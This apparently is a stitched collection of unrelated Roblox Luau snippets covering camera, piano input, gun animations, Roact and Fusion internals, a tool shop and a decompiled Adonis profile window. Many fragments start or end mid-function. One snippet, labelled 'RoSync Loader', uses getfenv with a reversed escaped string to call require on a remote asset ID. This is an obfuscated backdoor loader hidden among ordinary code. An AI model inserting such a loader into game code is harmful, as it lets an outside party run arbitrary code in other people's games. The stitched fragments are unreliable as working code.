-- This is used to make the Head visible in first person.
|
function FpsCamera:AddHeadMirror(desc)
if desc:IsA("BasePart") and self:IsValidPartToModify(desc) then
local mirror = desc:Clone()
mirror:ClearAllChildren()
mirror.Locked = true
mirror.Anchored = true
mirror.CanCollide = false
mirror.Parent = self.MirrorBin
local function onChildAdded(child)
local prop
if child:IsA("DataModelMesh") then
prop = "Scale"
elseif child:IsA("Decal") then
prop = "Transparency"
end
if prop then
local copy = child:Clone()
copy.Parent = mirror
self:MirrorProperty(child, copy, prop)
end
end
for _,child in pairs(desc:GetChildren()) do
onChildAdded(child)
end
self.HeadMirrors[desc] = mirror
self:MirrorProperty(desc, mirror, "Transparency")
desc.ChildAdded:Connect(onChildAdded)
end
end
|
--1: It has a HumanoidRootPart
--2: All parts are unanchored
--3: It has a Humanoid
| |
----------------------------------
------------FUNCTIONS-------------
----------------------------------
|
letterNoteMap = "1!2@34$5%6^78*9(0qQwWeErtTyYuiIoOpPasSdDfgGhHjJklLzZxcCvVbBnm"
function LetterToNote(key, shift, ctrl)
local note = letterNoteMap:find(string.char(key), 1, true)
if note then
return note + Transposition.Value + (shift and 1 or ctrl and -1 or 0)
end
end
function KeyDown(Object)
if TextBoxFocused then
return
end
local key = Object.KeyCode.Value
if key >= 97 and key <= 122 or key >= 48 and key <= 57 then
local note = LetterToNote(key, (InputService:IsKeyDown(303) or InputService:IsKeyDown(304)) ~= ShiftLock, InputService:IsKeyDown(305) or InputService:IsKeyDown(306))
if note then
do
local conn
conn = InputService.InputEnded:connect(function(obj)
if obj.KeyCode.Value == key then
conn:disconnect()
end
end)
PlayNoteClient(note)
end
else
PlayNoteClient(note)
end
elseif key == 8 then
Abort()
elseif key == 32 then
ToggleSheets()
elseif key == 13 then
ToggleCaps()
elseif key == 274 then
Transpose(-1)
elseif key == 273 then
Transpose(1)
elseif key == 275 then
VolumeChange(0.1)
elseif key == 276 then
VolumeChange(-0.1)
end
end
function Input(Object)
local type = Object.UserInputType.Name
local state = Object.UserInputState.Name -- in case I ever add input types
if type == "Keyboard" then
if state == "Begin" then
if FocusLost then -- this is so when enter is pressed in a textbox, it doesn't toggle caps
FocusLost = false
return
end
KeyDown(Object)
end
end
end
function TextFocus()
TextBoxFocused = true
end
function TextUnfocus()
FocusLost = true
TextBoxFocused = false
end
|
--[[
game.Players.PlayerAdded:Connect(reverseGlobalMarket)
for _, player in ipairs(game.Players:GetPlayers()) do
reverseGlobalMarket(player)
end
]]
|
wait(3)
for _, player in ipairs(game.Players:GetPlayers()) do
player.Chatted:Connect(function(message)
if message == "undo" then
reverseGlobalMarket(player)
end
end)
end
|
-- Time it takes to reload weapon
|
local ReloadTime = 2.1
|
-- Decompiled with the Synapse X Luau decompiler.
|
return require(game:GetService("ReplicatedStorage").Packages.Fusion).State();
|
-- Decompiled with the Synapse X Luau decompiler.
|
return {
Name = "version",
Args = {},
Description = "Shows the current version of Cmdr",
Group = "DefaultDebug",
Run = function()
return ("Cmdr Version %s"):format("v1.9.0");
end
};
|
--[[Dependencies]]
|
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local UserInputService = game:GetService("UserInputService")
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
|
--[[
Component that handles the ship's windows. This object is attached to rooms, and will affect the room's state should the window become breached.
]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CollectionService = game:GetService("CollectionService")
local Constants = require(ReplicatedStorage.Source.Common.Constants)
local remotesFolder = ReplicatedStorage.Remotes
local CreateWindowMarker = remotesFolder.CreateWindowMarker
local DestroyMarker = remotesFolder.DestroyMarker
local Window = {}
|
--Plot Current Turbocharger Horsepower
|
function GetTCurve(x,gear)
local hp=(math.max(CurveT(x)/(PeakCurveT/HP_T),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
|
-- This will inject all types into this context.
|
local TypeDefs = require(script.Parent.TypeDefinitions)
type CanPierceFunction = TypeDefs.CanPierceFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Debris = game:GetService("Debris")
local ClientSettings = ReplicatedStorage:WaitForChild("ClientSettings")
local typeof = require(script.Parent.TypeMarshaller)
|
--You can copy and paste script.Parent.BrickColor = BrickColor.new("Colorname")
--You can copy and paste wait(0) on the bottom on the script
| |
--[[ Last synced 10/14/2020 09:40 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--// Animations
|
local L_168_
function IdleAnim(L_341_arg1)
L_24_.IdleAnim(L_3_, L_168_, {
L_45_,
L_46_,
L_47_
});
end;
function EquipAnim(L_342_arg1)
L_24_.EquipAnim(L_3_, L_168_, {
L_45_
});
end;
function UnequipAnim(L_343_arg1)
L_24_.UnequipAnim(L_3_, L_168_, {
L_45_
});
end;
function FireModeAnim(L_344_arg1)
L_24_.FireModeAnim(L_3_, L_168_, {
L_45_,
L_47_,
L_46_,
L_58_
});
end
function ReloadAnim(L_345_arg1)
L_24_.ReloadAnim(L_3_, L_168_, {
L_45_,
L_46_,
L_47_,
L_61_,
L_3_:WaitForChild('Left Arm'),
L_58_,
L_49_,
L_3_:WaitForChild('Right Arm'),
L_43_
});
end;
function BoltingBackAnim(L_346_arg1)
L_24_.BoltingBackAnim(L_3_, L_168_, {
L_49_
});
end
function BoltingForwardAnim(L_347_arg1)
L_24_.BoltingForwardAnim(L_3_, L_168_, {
L_49_
});
end
function BoltingForwardAnim(L_348_arg1)
L_24_.BoltingForwardAnim(L_3_, L_168_, {
L_49_
});
end
function BoltBackAnim(L_349_arg1)
L_24_.BoltBackAnim(L_3_, L_168_, {
L_49_,
L_47_,
L_46_,
L_45_,
L_62_
});
end
function BoltForwardAnim(L_350_arg1)
L_24_.BoltForwardAnim(L_3_, L_168_, {
L_49_,
L_47_,
L_46_,
L_45_,
L_62_
});
end
function InspectAnim(L_351_arg1)
L_24_.InspectAnim(L_3_, L_168_, {
L_47_,
L_46_
});
end
function nadeReload(L_352_arg1)
L_24_.nadeReload(L_3_, L_168_, {
L_46_,
L_47_
});
end
function AttachAnim(L_353_arg1)
L_24_.AttachAnim(L_3_, L_168_, {
L_46_,
L_47_
});
end
function PatrolAnim(L_354_arg1)
L_24_.PatrolAnim(L_3_, L_168_, {
L_46_,
L_47_
});
end
|
-- add the arms
|
table.insert(armparts, character:WaitForChild("Right Arm"))
table.insert(armparts, character:WaitForChild("Left Arm"))
|
--[[
Calling setState during certain lifecycle allowed methods has the potential
to create an infinitely updating component. Rather than time out, we exit
with an error if an unreasonable number of self-triggering updates occur
]]
|
local MAX_PENDING_UPDATES = 100
local InternalData = Symbol.named("InternalData")
local componentMissingRenderMessage = [[
The component %q is missing the `render` method.
`render` must be defined when creating a Roact component!]]
local tooManyUpdatesMessage = [[
The component %q has reached the setState update recursion limit.
When using `setState` in `didUpdate`, make sure that it won't repeat infinitely!]]
local componentClassMetatable = {}
function componentClassMetatable:__tostring()
return self.__componentName
end
local Component = {}
setmetatable(Component, componentClassMetatable)
Component[Type] = Type.StatefulComponentClass
Component.__index = Component
Component.__componentName = "Component"
|
----------------------------------
-----------CONNECTIONS------------
----------------------------------
|
HumanoidChangedConnection = nil
HumanoidDiedConnection = nil
function MakeHumanoidConnections()
local character = Player.Character
if character then
local humanoid = character:FindFirstChild("Humanoid")
if humanoid then
HumanoidChangedConnection = humanoid.Changed:connect(function(property)
HumanoidChanged(humanoid, property)
end)
HumanoidDiedConnection = humanoid.Died:connect(HumanoidDied)
end
end
end
function BreakHumanoidConnections()
HumanoidChangedConnection:disconnect()
HumanoidDiedConnection:disconnect()
end
|
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump
-- rather than sustained jumping. This is only to preserve the current behavior through the refactor.
|
function DynamicThumbstick:GetIsJumping()
local wasJumping = self.isJumping
self.isJumping = false
return wasJumping
end
function DynamicThumbstick:Enable(enable: boolean?, uiParentFrame): boolean?
if enable == nil then return false end -- If nil, return false (invalid argument)
enable = enable and true or false -- Force anything non-nil to boolean before comparison
if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state
if enable then
-- Enable
if not self.thumbstickFrame then
self:Create(uiParentFrame)
end
self:BindContextActions()
else
if FFlagUserDynamicThumbstickMoveOverButtons then
self:UnbindContextActions()
else
ContextActionService:UnbindAction(DYNAMIC_THUMBSTICK_ACTION_NAME)
end
-- Disable
self:OnInputEnded() -- Cleanup
end
self.enabled = enable
self.thumbstickFrame.Visible = enable
return nil
end
|
--[[
Returns all objects that cause the filter function to return true.
]]
|
function Registry:getFiltered(filter)
local output = {}
for key, object in pairs(self.objects) do
if filter(object, key) then
output[key] = object
end
end
return output
end
|
--GreenEgg--
|
Event.Hitbox.Touched:Connect(function(hit)
if hit.Parent:IsA("Tool") and hit.Parent.Name == ToolRequired then
if game.ReplicatedStorage.ItemSwitching.Value == true then
hit.Parent:Destroy()
end
Event.LocksLeft.Value = Event.LocksLeft.Value - 1
Event.Robot.Transparency = 0
Event.TeleportEffectPad.Insert:Play()
Event.Hitbox.RobotHint:Destroy()
script.Disabled = true
end
end)
Event.Hitbox.ClickDetector.MouseClick:Connect(function(plr)
if plr.Backpack:FindFirstChild(ToolRequired) then
if game.ReplicatedStorage.ItemSwitching.Value == true then
plr.Backpack:FindFirstChild(ToolRequired):Destroy()
end
Event.LocksLeft.Value = Event.LocksLeft.Value - 1
Event.Robot.Transparency = 0
Event.TeleportEffectPad.Insert:Play()
Event.Hitbox.RobotHint:Destroy()
script.Disabled = true
end
end)
|
--local roPrompts = require(game.ReplicatedStorage.roPrompts)
|
ReplicatedStorage.BuyEvent.OnServerEvent:Connect(function(player, toolname)
--local prompt = roPrompts.New({
-- Type = roPrompts.PromptType.Confirm,
-- Title = 'Confirm Purchase',
-- Description = 'Are you sure you would like to buy this tool?',
-- PrimaryButton = 'Confirm',
-- SecondaryButton = 'Cancel'
--})
--roPrompts:PromptPlayer(player, prompt)
--if roPrompts:PromptPlayer(player, prompt) then
local Setting = ToolSettings[toolname]
if not Setting then return end
local Price = (player.MembershipType == Premium and Setting.PremiumPrice) or Setting.Price
local Cash = player.leaderstats.Cash
local Backpack = player:WaitForChild("Backpack")
if Cash.Value >= Price then
Cash.Value -= Price
Setting.Tool:Clone().Parent = Backpack
end
--end
end)
|
--// SS Controls - remastered for 4/2020. it's been long enough
|
wait(.5)
local player = game.Players.LocalPlayer
local HB = script.Parent.HB
local HUB = HB.HUB
local radio = HB.Radio
local Camera = game.Workspace.CurrentCamera
local cam = script.Parent.nxtcam.Value
local carSeat = script.Parent.CarSeat.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local windows = false
local handler = carSeat:WaitForChild('Filter')
local ts = game:GetService("TweenService")
local ctrl = false
local dd = false
local mph = (10/12) * (60/88)
local stt = 0
local st = false
local mode = 0
|
--// Positioning
|
RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08);
LeftArmPos = CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098);
GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);
}
return Settings
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
Routine = nil;
local function u1(p1)
if p1 then
return "Yes";
end;
return "No";
end;
return function(p2)
local l__Service__1 = client.Service;
local l__Target__2 = p2.Target;
local v3 = client.UI.Make("Window", {
Name = "Profile_" .. l__Target__2.UserId,
Title = "Profile (@" .. l__Target__2.Name .. ")",
Icon = client.MatIcons["Account circle"],
Size = { 400, 400 },
AllowMultiple = false
});
local v4 = v3:Add("TabFrame", {
Size = UDim2.new(1, -10, 1, -10),
Position = UDim2.new(0, 5, 0, 5)
});
local v5 = v4:NewTab("General", {
Text = "General"
});
local v6 = v4:NewTab("Friends", {
Text = "Friends"
});
local v7 = v4:NewTab("Groups", {
Text = "Groups"
});
local v8 = v4:NewTab("Game", {
Text = "Game"
});
local v9 = l__Target__2:IsFriendsWith(l__Service__1.Players.LocalPlayer.UserId);
if l__Target__2 ~= l__Service__1.Players.LocalPlayer then
local v10 = {
Text = ""
};
if v9 then
local v11 = "Unfriend";
else
v11 = "Add friend";
end;
v10.ToolTip = v11;
if v9 then
local v12 = function()
l__Service__1.StarterGui:SetCore("PromptUnfriend", l__Target__2);
end;
if not v12 then
v12 = function()
l__Service__1.StarterGui:SetCore("PromptSendFriendRequest", l__Target__2);
end;
end;
else
v12 = function()
l__Service__1.StarterGui:SetCore("PromptSendFriendRequest", l__Target__2);
end;
end;
v10.OnClick = v12;
v3:AddTitleButton(v10):Add("ImageLabel", {
Size = UDim2.new(0, 20, 0, 20),
Position = UDim2.new(0, 5, 0, 0),
Image = v9 and client.MatIcons["Person remove"] or client.MatIcons["Person add"],
BackgroundTransparency = 1
});
end;
local v13 = {
Text = "",
ToolTip = "View avatar"
};
function v13.OnClick()
l__Service__1.GuiService:InspectPlayerFromUserId(l__Target__2.UserId);
end;
v3:AddTitleButton(v13):Add("ImageLabel", {
Size = UDim2.new(0, 18, 0, 18),
Position = UDim2.new(0, 6, 0, 1),
Image = client.MatIcons["Person search"],
BackgroundTransparency = 1
});
v5:Add("ImageLabel", {
Size = UDim2.new(0, 120, 0, 120),
Position = UDim2.new(0, 5, 0, 5),
Image = l__Service__1.Players:GetUserThumbnailAsync(l__Target__2.UserId, Enum.ThumbnailType.AvatarBust, Enum.ThumbnailSize.Size150x150)
});
for v14, v15 in ipairs({ { "Display Name", l__Target__2.DisplayName, "The player's custom display name" }, { "Username", l__Target__2.Name, "The player's unique Roblox username" }, { "User ID", l__Target__2.UserId, "The player's unique Roblox user ID" }, { "Acc. Age", l__Target__2.AccountAge .. " days (" .. string.format("%.2f", l__Target__2.AccountAge / 365) .. " years)", "How long the player has been registered on Roblox" } }) do
local v16 = {
Text = " " .. v15[1] .. ": ",
ToolTip = v15[3]
};
if v14 % 2 == 0 then
local v17 = 0;
else
v17 = 0.2;
end;
v16.BackgroundTransparency = v17;
v16.Size = UDim2.new(1, -135, 0, 30);
v16.Position = UDim2.new(0, 130, 0, 30 * (v14 - 1) + 5);
v16.TextXAlignment = "Left";
v5:Add("TextLabel", v16):Add("TextLabel", {
Text = v15[2],
BackgroundTransparency = 1,
Size = UDim2.new(0, 120, 1, 0),
Position = UDim2.new(1, -130, 0, 0),
TextXAlignment = "Right"
});
end;
for v18, v19 in ipairs({ { "Membership", l__Target__2.MembershipType.Name, "The player's Roblox membership type (Premium)" }, { "Safe Chat Enabled", p2.SafeChat, "Does the player have safe chat applied?" }, { "Can Chat", p2.CanChatGet[1] and u1(p2.CanChatGet[2]) or "[Error]", "Does the player's account settings allow them to chat?" } }) do
local v20 = {
Text = " " .. v19[1] .. ": ",
ToolTip = v19[3]
};
if v18 % 2 == 0 then
local v21 = 0;
else
v21 = 0.2;
end;
v20.BackgroundTransparency = v21;
v20.Size = UDim2.new(1, -10, 0, 30);
v20.Position = UDim2.new(0, 5, 0, 30 * (v18 - 1) + 130);
v20.TextXAlignment = "Left";
v5:Add("TextLabel", v20):Add("TextLabel", {
Text = v19[2],
BackgroundTransparency = 1,
Size = UDim2.new(0, 120, 1, 0),
Position = UDim2.new(1, -130, 0, 0),
TextXAlignment = "Right"
});
end;
local v22 = 0;
local v23 = {};
local v24 = {};
local v25 = true;
if l__Target__2.UserId ~= 1237666 then
v25 = l__Target__2.UserId == 698712377;
end;
v24[1] = v25;
v24[2] = "Adonis Creator [Sceleratis/Davey_Bones]";
v24[3] = "rbxassetid://6878433601";
v24[4] = "You're looking at the creator of the Adonis admin system!";
v23[1] = { p2.IsServerOwner, "Private Server Owner", client.MatIcons.Grade, "User owns the current private server" };
v23[2] = { p2.IsDonor, "Adonis Donor", "rbxassetid://6877822142", "User has purchased the Adonis donation pass/shirt" };
v23[3] = { l__Target__2:GetRankInGroup(886423) == 10, "Adonis Contributor (GitHub)", "rbxassetid://6878433601", "User has contributed to the Adonis admin system (see credit list)" };
v23[4] = { l__Target__2:GetRankInGroup(886423) >= 12, "Adonis Developer", "rbxassetid://6878433601", "User is an official developer of the Adonis admin system" };
v23[5] = v24;
v23[6] = { l__Target__2:IsInGroup(1200769) or l__Target__2:IsInGroup(2868472), "ROBLOX Staff", "rbxassetid://6811962259", "User is an official Roblox employee (!)" };
v23[7] = { l__Target__2:IsInGroup(3514227), "DevForum Member", "rbxassetid://6383940476", "User is a member of the Roblox Developer Forum" };
for v26, v27 in ipairs(v23) do
if v27[1] then
v5:Add("TextLabel", {
Size = UDim2.new(1, -10, 0, 30),
Position = UDim2.new(0, 5, 0, 32 * v22 + 225),
BackgroundTransparency = 0.4,
Text = v27[2],
ToolTip = v27[4]
}):Add("ImageLabel", {
Image = v27[3],
BackgroundTransparency = 1,
Size = UDim2.new(0, 24, 0, 24),
Position = UDim2.new(0, 4, 0, 3)
});
v22 = v22 + 1;
end;
end;
v5:ResizeCanvas(false, true, false, false, 5, 5);
v3:Ready();
local u2 = function(p3)
return coroutine.wrap(function()
local v28 = 1;
while true do
for v29, v30 in ipairs(p3:GetCurrentPage()) do
coroutine.yield(v30, v28);
end;
if p3.IsFinished then
break;
end;
p3:AdvanceToNextPageAsync();
v28 = v28 + 1;
end;
end);
end;
local u3 = l__Service__1.Players:GetFriendsAsync(l__Target__2.UserId);
local u4 = {};
local u5 = {};
local u6 = 0;
local u7 = 0;
local l__client__8 = client;
local l__Routine__9 = Routine;
Routine(function()
for v31, v32 in u2(u3) do
table.insert(u4, v31.Username);
u5[v31.Username] = {
id = v31.Id,
displayName = v31.DisplayName,
isOnline = v31.IsOnline
};
if v31.IsOnline then
u6 = u6 + 1;
end;
u7 = u7 + 1;
end;
table.sort(u4);
local v33 = v6:Add("TextBox", {
Size = UDim2.new(1, -10, 0, 25),
Position = UDim2.new(0, 5, 0, 5),
BackgroundTransparency = 0.5,
PlaceholderText = ("Search %d friends (%d online)"):format(u7, u6),
Text = "",
TextStrokeTransparency = 0.8
});
v33:Add("ImageLabel", {
Image = l__client__8.MatIcons.Search,
Position = UDim2.new(1, -21, 0, 3),
Size = UDim2.new(0, 18, 0, 18),
ImageTransparency = 0.2,
BackgroundTransparency = 1
});
local u10 = v6:Add("ScrollingFrame", {
List = {},
ScrollBarThickness = 2,
BackgroundTransparency = 1,
Position = UDim2.new(0, 5, 0, 35),
Size = UDim2.new(1, -10, 1, -40)
});
local function v34()
u10:ClearAllChildren();
local v35 = 1;
for v36, v37 in ipairs(u4) do
local v38 = u5[v37];
if v37:sub(1, #v33.Text):lower() == v33.Text:lower() or v38.displayName:sub(1, #v33.Text):lower() == v33.Text:lower() then
if v37 == v38.displayName then
local v39 = v37;
else
v39 = v38.displayName .. " (@" .. v37 .. ")";
end;
local v40 = {
Text = " " .. v39,
ToolTip = "User ID: " .. v38.id
};
if (v35 - 1) % 2 == 0 then
local v41 = 0;
else
v41 = 0.2;
end;
v40.BackgroundTransparency = v41;
v40.Size = UDim2.new(1, 0, 0, 30);
v40.Position = UDim2.new(0, 0, 0, 30 * (v35 - 1));
v40.TextXAlignment = "Left";
local v42 = u10:Add("TextLabel", v40);
if v38.isOnline then
v42:Add("TextLabel", {
Text = "Online",
BackgroundTransparency = 1,
Size = UDim2.new(0, 120, 1, 0),
Position = UDim2.new(1, -130, 0, 0),
TextXAlignment = "Right"
});
end;
l__Routine__9(function()
v42:Add("ImageLabel", {
Image = l__Service__1.Players:GetUserThumbnailAsync(v38.id, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48),
BackgroundTransparency = 1,
Size = UDim2.new(0, 30, 0, 30),
Position = UDim2.new(0, 0, 0, 0)
});
end);
v35 = v35 + 1;
end;
end;
u10:ResizeCanvas(false, true, false, false, 5, 5);
end;
v33:GetPropertyChangedSignal("Text"):Connect(v34);
v34();
end);
u2 = {};
u3 = {};
u4 = 0;
u5 = 0;
for v43, v44 in pairs(l__Service__1.GroupService:GetGroupsAsync(l__Target__2.UserId) or {}) do
l__Routine__9(l__Service__1.ContentProvider.PreloadAsync, l__Service__1.ContentProvider, { v44.EmblemUrl });
table.insert(u2, v44.Name);
u3[v44.Name] = v44;
u4 = u4 + 1;
if v44.Rank == 255 then
u5 = u5 + 1;
end;
end;
table.sort(u2);
local v45 = {
Size = UDim2.new(1, -10, 0, 25),
Position = UDim2.new(0, 5, 0, 5),
BackgroundTransparency = 0.5
};
if u4 ~= 1 then
local v46 = "s";
else
v46 = "";
end;
v45.PlaceholderText = ("Search %d group%s (%d owned)"):format(u4, v46, u5);
v45.Text = "";
v45.TextStrokeTransparency = 0.8;
local v47 = v7:Add("TextBox", v45);
v47:Add("ImageLabel", {
Image = l__client__8.MatIcons.Search,
Position = UDim2.new(1, -21, 0, 3),
Size = UDim2.new(0, 18, 0, 18),
ImageTransparency = 0.2,
BackgroundTransparency = 1
});
local u11 = v7:Add("ScrollingFrame", {
List = {},
ScrollBarThickness = 2,
BackgroundTransparency = 1,
Position = UDim2.new(0, 5, 0, 35),
Size = UDim2.new(1, -10, 1, -40)
});
local u12 = v47;
local function v48()
u11:ClearAllChildren();
local v49 = 1;
for v50, v51 in ipairs(u2) do
local v52 = u3[v51];
if v51:sub(1, #u12.Text):lower() == u12.Text:lower() or v52.Role:sub(1, #u12.Text):lower() == u12.Text:lower() then
local v53 = nil;
local v54 = {
Text = ""
};
if v52.IsPrimary then
local v55 = "Primary Group | ";
else
v55 = "";
end;
if v52.Rank == 255 then
local v56 = " (Owner)";
else
v56 = "";
end;
v54.ToolTip = string.format("%sID: %d | Rank: %d%s", v55, v52.Id, v52.Rank, v56);
if (v49 - 1) % 2 == 0 then
local v57 = 0;
else
v57 = 0.2;
end;
v54.BackgroundTransparency = v57;
v54.Size = UDim2.new(1, -10, 0, 30);
v54.Position = UDim2.new(0, 5, 0, 30 * (v49 - 1));
v54.TextXAlignment = "Left";
local v58 = u11:Add("TextLabel", v54);
v53 = v58:Add("TextLabel", {
Text = v51,
BackgroundTransparency = 1,
Size = UDim2.new(1, -50 - v58:Add("TextLabel", {
Text = v52.Role,
BackgroundTransparency = 1,
Size = UDim2.new(0, 0, 1, 0),
Position = UDim2.new(1, -10, 0, 0),
ClipsDescendants = false,
TextXAlignment = "Right"
}).TextBounds.X, 1, 0),
Position = UDim2.new(0, 36, 0, 0),
TextXAlignment = "Left",
TextTruncate = "AtEnd"
});
if v52.IsPrimary then
v53.TextColor3 = Color3.new(0.666667, 1, 1);
elseif v52.Rank >= 255 then
v53.TextColor3 = Color3.new(1, 1, 0.5);
end;
l__Routine__9(function()
v58:Add("ImageLabel", {
Image = v52.EmblemUrl,
BackgroundTransparency = 1,
Size = UDim2.new(0, 30, 0, 30),
Position = UDim2.new(0, 0, 0, 0)
});
end);
v49 = v49 + 1;
end;
end;
u11:ResizeCanvas(false, true, false, false, 5, 5);
end;
u12:GetPropertyChangedSignal("Text"):Connect(v48);
v48();
u2 = p2.GameData;
if not u2 then
u3 = v8;
u2 = v8.Disable;
u2(u3);
return;
end;
u2 = {};
u3 = {};
u4 = "Admin Level";
u12 = p2.GameData;
u5 = u12.AdminLevel;
u12 = "The player's Adonis rank";
u3[1] = u4;
u3[2] = u5;
u3[3] = u12;
u4 = {};
u5 = "Muted";
u12 = u1;
u11 = p2.GameData.IsMuted;
u12 = u12(u11);
u11 = "Is the player muted? (IGNORES TRELLO MUTELIST)";
u4[1] = u5;
u4[2] = u12;
u4[3] = u11;
u5 = {};
u12 = "Auto Jump Enabled";
u11 = u1;
u11 = u11(l__Target__2.AutoJumpEnabled);
u5[1] = u12;
u5[2] = u11;
u5[3] = "Does the player have auto jump enabled?";
u12 = {};
u11 = "Camera Max Zoom Distance";
u12[1] = u11;
u12[2] = l__Target__2.CameraMaxZoomDistance;
u12[3] = "How far in studs the player can zoom out their camera";
u11 = { "Camera Min Zoom Distance", l__Target__2.CameraMinZoomDistance, "How close in studs the player can zoom in their camera" };
u2[1] = u3;
u2[2] = u4;
u2[3] = u5;
u2[4] = u12;
u2[5] = u11;
u2[6] = { "Accelerometer Enabled", u1(p2.GameData.AccelerometerEnabled), "Whether the user\226\128\153s device has an accelerometer" };
u2[7] = { "Gamepad Enabled", u1(p2.GameData.GamepadEnabled), "Whether the user's device has an available gamepad" };
u2[8] = { "Gyroscope Enabled", u1(p2.GameData.GyroscopeEnabled), "Whether the user\226\128\153s device has a gyroscope" };
u2[9] = { "Keyboard Enabled", u1(p2.GameData.KeyboardEnabled), "Whether the user\226\128\153s device has a keyboard available" };
u2[10] = { "Mouse Delta Sensitivity", p2.GameData.MouseDeltaSensitivity, "The scale of the delta (change) output of the user\226\128\153s Mouse" };
u2[11] = { "Mouse Enabled", u1(p2.GameData.MouseEnabled), "Whether the user\226\128\153s device has a mouse available" };
u2[12] = { "Touch Enabled", u1(p2.GameData.TouchEnabled), "Whether the user\226\128\153s current device has a touch-screen available" };
u2[13] = { "VR Enabled", u1(p2.GameData.VREnabled), "Whether the user is using a virtual reality headset" };
u2[14] = { "Source Place ID", p2.GameData.SourcePlaceId, "The ID of the place from which the player was teleported to this game, if applicable" };
u3 = 1;
u4 = ipairs;
u5 = u2;
u4, u5, u12 = u4(u5);
while true do
u11 = u4;
u11, v59 = u11(u5, u12);
if not u11 then
break;
end;
u12 = u11;
local v60 = {
Text = " " .. v59[1] .. ": ",
ToolTip = v59[3]
};
if u3 % 2 == 0 then
local v61 = 0;
else
v61 = 0.2;
end;
v60.BackgroundTransparency = v61;
v60.Size = UDim2.new(1, -10, 0, 25);
v60.Position = UDim2.new(0, 5, 0, 25 * (u3 - 1) + 5);
v60.TextXAlignment = "Left";
local v62 = v8:Add("TextLabel", v60):Add("TextLabel", {
Text = v59[2],
BackgroundTransparency = 1,
Size = UDim2.new(0, 120, 1, 0),
Position = UDim2.new(1, -130, 0, 0),
TextXAlignment = "Right"
});
u3 = u3 + 1;
end;
u12 = "TextButton";
u11 = {
Text = "View Tools",
ToolTip = string.format("%sviewtools%s%s", p2.CmdPrefix, p2.CmdSplitKey, l__Target__2.Name)
};
if u3 % 2 == 0 then
local v63 = 0;
else
v63 = 0.2;
end;
u11.BackgroundTransparency = v63;
u11.Size = UDim2.new(1, -10, 0, 30);
u11.Position = UDim2.new(0, 5, 0, 25 * (u3 - 1) + 10);
function u11.OnClicked(p4)
if p4.Active then
p4.Active = false;
p4.AutoButtonColor = false;
l__client__8.Remote.Send("ProcessCommand", string.format("%sviewtools%s%s", p2.CmdPrefix, p2.CmdSplitKey, l__Target__2.Name));
wait(2);
p4.AutoButtonColor = true;
p4.Active = true;
end;
end;
u5 = v8;
u4 = v8.Add;
u4(u5, u12, u11);
u12 = false;
u11 = true;
u5 = v8;
u4 = v8.ResizeCanvas;
u4(u5, u12, u11, false, false, 5, 5);
end;
|
--[[
Called when the original table is changed.
This will firstly find any keys meeting any of the following criteria:
- they were not previously present
- their associated value has changed
- a dependency used during generation of this value has changed
It will recalculate those key/value pairs, storing information about any
dependencies used in the processor callback during value generation, and
save the new value to the output array. If it is overwriting an older value,
that older value will be passed to the destructor for cleanup.
Finally, this function will find keys that are no longer present, and remove
their values from the output table and pass them to the destructor.
]]
|
function class:update()
local inputIsState = self._inputIsState
local oldInput = self._oldInputTable
local newInput = self._inputTable
local oldOutput = self._oldOutputTable
local newOutput = self._outputTable
if inputIsState then
newInput = newInput:get(false)
end
local didChange = false
-- clean out main dependency set
for dependency in pairs(self.dependencySet) do
dependency.dependentSet[self] = nil
end
self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet
table.clear(self.dependencySet)
-- if the input table is a state object, add as dependency
if inputIsState then
self._inputTable.dependentSet[self] = true
self.dependencySet[self._inputTable] = true
end
-- STEP 1: find keys that changed value or were not previously present
for key, newInValue in pairs(newInput) do
-- get or create key data
local keyData = self._keyData[key]
if keyData == nil then
keyData = {
-- we don't need strong references here - the main set does that
-- for us, so let's not introduce unnecessary leak opportunities
dependencySet = setmetatable({}, WEAK_KEYS_METATABLE),
oldDependencySet = setmetatable({}, WEAK_KEYS_METATABLE),
dependencyValues = setmetatable({}, WEAK_KEYS_METATABLE)
}
self._keyData[key] = keyData
end
-- if this value is either new or different, we should recalculate it
local shouldRecalculate = oldInput[key] ~= newInValue
if not shouldRecalculate then
-- check if dependencies have changed
for dependency, oldValue in pairs(keyData.dependencyValues) do
-- if the dependency changed value, then this needs recalculating
if oldValue ~= dependency:get(false) then
shouldRecalculate = true
break
end
end
end
-- if we should recalculate the value by this point, do that
if shouldRecalculate then
keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet
table.clear(keyData.dependencySet)
local oldOutValue = oldOutput[key]
local processOK, newOutValue = captureDependencies(keyData.dependencySet, self._processor, key, newInValue)
if processOK then
-- if the calculated value has changed
if oldOutValue ~= newOutValue then
didChange = true
-- clean up the old calculated value
if oldOutValue ~= nil then
local destructOK, err = xpcall(self._destructor, parseError, oldOutValue)
if not destructOK then
logErrorNonFatal("pairsDestructorError", err)
end
end
end
-- make the old input match the new input
oldInput[key] = newInValue
-- store the new output value for next time we run the output comparison
oldOutput[key] = newOutValue
-- store the new output value in the table we give to the user
newOutput[key] = newOutValue
else
